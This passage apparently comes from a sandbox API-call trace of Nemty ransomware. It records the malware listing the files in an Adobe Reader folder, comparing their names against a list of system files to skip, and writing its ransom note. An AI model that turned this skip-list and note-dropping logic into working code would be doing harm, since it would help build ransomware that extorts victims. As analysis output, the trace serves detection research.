dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0172.982] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0172.982] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0172.982] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0172.982] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0172.982] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0172.982] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0172.982] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0172.982] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0172.982] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0172.982] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0172.982] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0172.982] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0172.982] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0172.982] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0172.982] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0172.982] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0172.982] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0172.982] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0172.982] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0172.982] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0172.982] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0172.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.982] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.982] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.982] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0172.982] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.982] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.983] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.983] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0172.983] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.983] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.983] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.983] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.983] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.983] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.983] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.983] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.983] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.983] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.983] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.983] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0172.983] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0172.983] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.983] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.983] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1aba0ff0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1aba0ff0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1abc7150, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0172.983] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0172.983] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0172.983] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0172.983] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0172.983] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="NLD", cAlternateFileName="")) returned 1 [0172.983] lstrcmpiW (lpString1="NLD", lpString2=".") returned 1 [0172.983] lstrcmpiW (lpString1="NLD", lpString2="..") returned 1 [0172.983] lstrcmpiW (lpString1="NLD", lpString2="...") returned 1 [0172.983] lstrcmpiW (lpString1="NLD", lpString2="windows") returned -1 [0172.983] lstrcmpiW (lpString1="NLD", lpString2="$RECYCLE.BIN") returned 1 [0172.983] lstrcmpiW (lpString1="NLD", lpString2="rsa") returned -1 [0172.983] lstrcmpiW (lpString1="NLD", lpString2="NTDETECT.COM") returned -1 [0172.983] lstrcmpiW (lpString1="NLD", lpString2="ntldr") returned -1 [0172.984] lstrcmpiW (lpString1="NLD", lpString2="MSDOS.SYS") returned 1 [0172.984] lstrcmpiW (lpString1="NLD", lpString2="IO.SYS") returned 1 [0172.984] lstrcmpiW (lpString1="NLD", lpString2="boot.ini") returned 1 [0172.984] lstrcmpiW (lpString1="NLD", lpString2="boot.ini") returned 1 [0172.984] lstrcmpiW (lpString1="NLD", lpString2="AUTOEXEC.BAT") returned 1 [0172.984] lstrcmpiW (lpString1="NLD", lpString2="ntuser.dat") returned -1 [0172.984] lstrcmpiW (lpString1="NLD", lpString2="desktop.ini") returned 1 [0172.984] lstrcmpiW (lpString1="NLD", lpString2="CONFIG.SYS") returned 1 [0172.984] lstrcmpiW (lpString1="NLD", lpString2="RECYCLER") returned -1 [0172.984] lstrcmpiW (lpString1="NLD", lpString2="BOOTSECT.BAK") returned 1 [0172.984] lstrcmpiW (lpString1="NLD", lpString2="bootmgr") returned 1 [0172.984] lstrcmpiW (lpString1="NLD", lpString2="programdata") returned -1 [0172.984] lstrcmpiW (lpString1="NLD", lpString2="appdata") returned 1 [0172.984] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NLD", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0172.984] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NLD", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NLD", lpUsedDefaultChar=0x0) returned 3 [0172.984] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NLD", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0172.984] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NLD", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NLD", lpUsedDefaultChar=0x0) returned 3 [0172.984] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0172.984] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0172.984] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0172.984] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0172.984] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.984] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.984] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.984] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.984] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.984] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94288 [0172.984] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.984] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94330 [0172.984] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0172.984] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\nld\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0172.985] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0172.985] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.985] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0172.986] CloseHandle (hObject=0x254) returned 1 [0172.986] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0172.986] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0172.986] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0172.986] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94288 [0172.986] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0172.986] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0172.986] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.986] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.986] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.986] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.986] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.986] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0172.986] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.986] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0172.986] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0172.986] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\nld\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0172.987] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0172.987] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.987] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0172.988] CloseHandle (hObject=0x254) returned 1 [0172.988] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0172.988] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0172.988] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0172.988] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1abed2b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1abed2b0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0172.989] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0172.989] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1abed2b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1abed2b0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0172.989] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0172.989] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0172.989] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x514, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0172.989] lstrcmpiW (lpString1="eula.ini", lpString2=".") returned 1 [0172.989] lstrcmpiW (lpString1="eula.ini", lpString2="..") returned 1 [0172.989] lstrcmpiW (lpString1="eula.ini", lpString2="...") returned 1 [0172.989] lstrcmpiW (lpString1="eula.ini", lpString2="windows") returned -1 [0172.989] lstrcmpiW (lpString1="eula.ini", lpString2="$RECYCLE.BIN") returned 1 [0172.989] lstrcmpiW (lpString1="eula.ini", lpString2="rsa") returned -1 [0172.989] lstrcmpiW (lpString1="eula.ini", lpString2="NTDETECT.COM") returned -1 [0172.989] lstrcmpiW (lpString1="eula.ini", lpString2="ntldr") returned -1 [0172.989] lstrcmpiW (lpString1="eula.ini", lpString2="MSDOS.SYS") returned -1 [0172.989] lstrcmpiW (lpString1="eula.ini", lpString2="IO.SYS") returned -1 [0172.989] lstrcmpiW (lpString1="eula.ini", lpString2="boot.ini") returned 1 [0172.989] lstrcmpiW (lpString1="eula.ini", lpString2="boot.ini") returned 1 [0172.989] lstrcmpiW (lpString1="eula.ini", lpString2="AUTOEXEC.BAT") returned 1 [0172.989] lstrcmpiW (lpString1="eula.ini", lpString2="ntuser.dat") returned -1 [0172.989] lstrcmpiW (lpString1="eula.ini", lpString2="desktop.ini") returned 1 [0172.989] lstrcmpiW (lpString1="eula.ini", lpString2="CONFIG.SYS") returned 1 [0172.989] lstrcmpiW (lpString1="eula.ini", lpString2="RECYCLER") returned -1 [0172.989] lstrcmpiW (lpString1="eula.ini", lpString2="BOOTSECT.BAK") returned 1 [0172.989] lstrcmpiW (lpString1="eula.ini", lpString2="bootmgr") returned 1 [0172.989] lstrcmpiW (lpString1="eula.ini", lpString2="programdata") returned -1 [0172.989] lstrcmpiW (lpString1="eula.ini", lpString2="appdata") returned 1 [0172.989] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.989] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0172.989] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0172.989] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.989] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0172.990] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0172.990] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.990] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.990] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.990] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0172.990] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e8e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0172.990] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.990] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.990] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0172.990] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e918, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0172.990] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.990] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0172.990] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0172.990] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc288, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0172.990] lstrcmpiW (lpString1="license.html", lpString2=".") returned 1 [0172.990] lstrcmpiW (lpString1="license.html", lpString2="..") returned 1 [0172.990] lstrcmpiW (lpString1="license.html", lpString2="...") returned 1 [0172.990] lstrcmpiW (lpString1="license.html", lpString2="windows") returned -1 [0172.990] lstrcmpiW (lpString1="license.html", lpString2="$RECYCLE.BIN") returned 1 [0172.990] lstrcmpiW (lpString1="license.html", lpString2="rsa") returned -1 [0172.990] lstrcmpiW (lpString1="license.html", lpString2="NTDETECT.COM") returned -1 [0172.990] lstrcmpiW (lpString1="license.html", lpString2="ntldr") returned -1 [0172.990] lstrcmpiW (lpString1="license.html", lpString2="MSDOS.SYS") returned -1 [0172.990] lstrcmpiW (lpString1="license.html", lpString2="IO.SYS") returned 1 [0172.990] lstrcmpiW (lpString1="license.html", lpString2="boot.ini") returned 1 [0172.990] lstrcmpiW (lpString1="license.html", lpString2="boot.ini") returned 1 [0172.990] lstrcmpiW (lpString1="license.html", lpString2="AUTOEXEC.BAT") returned 1 [0172.990] lstrcmpiW (lpString1="license.html", lpString2="ntuser.dat") returned -1 [0172.990] lstrcmpiW (lpString1="license.html", lpString2="desktop.ini") returned 1 [0172.990] lstrcmpiW (lpString1="license.html", lpString2="CONFIG.SYS") returned 1 [0172.990] lstrcmpiW (lpString1="license.html", lpString2="RECYCLER") returned -1 [0172.990] lstrcmpiW (lpString1="license.html", lpString2="BOOTSECT.BAK") returned 1 [0172.990] lstrcmpiW (lpString1="license.html", lpString2="bootmgr") returned 1 [0172.991] lstrcmpiW (lpString1="license.html", lpString2="programdata") returned -1 [0172.991] lstrcmpiW (lpString1="license.html", lpString2="appdata") returned 1 [0172.991] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.991] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 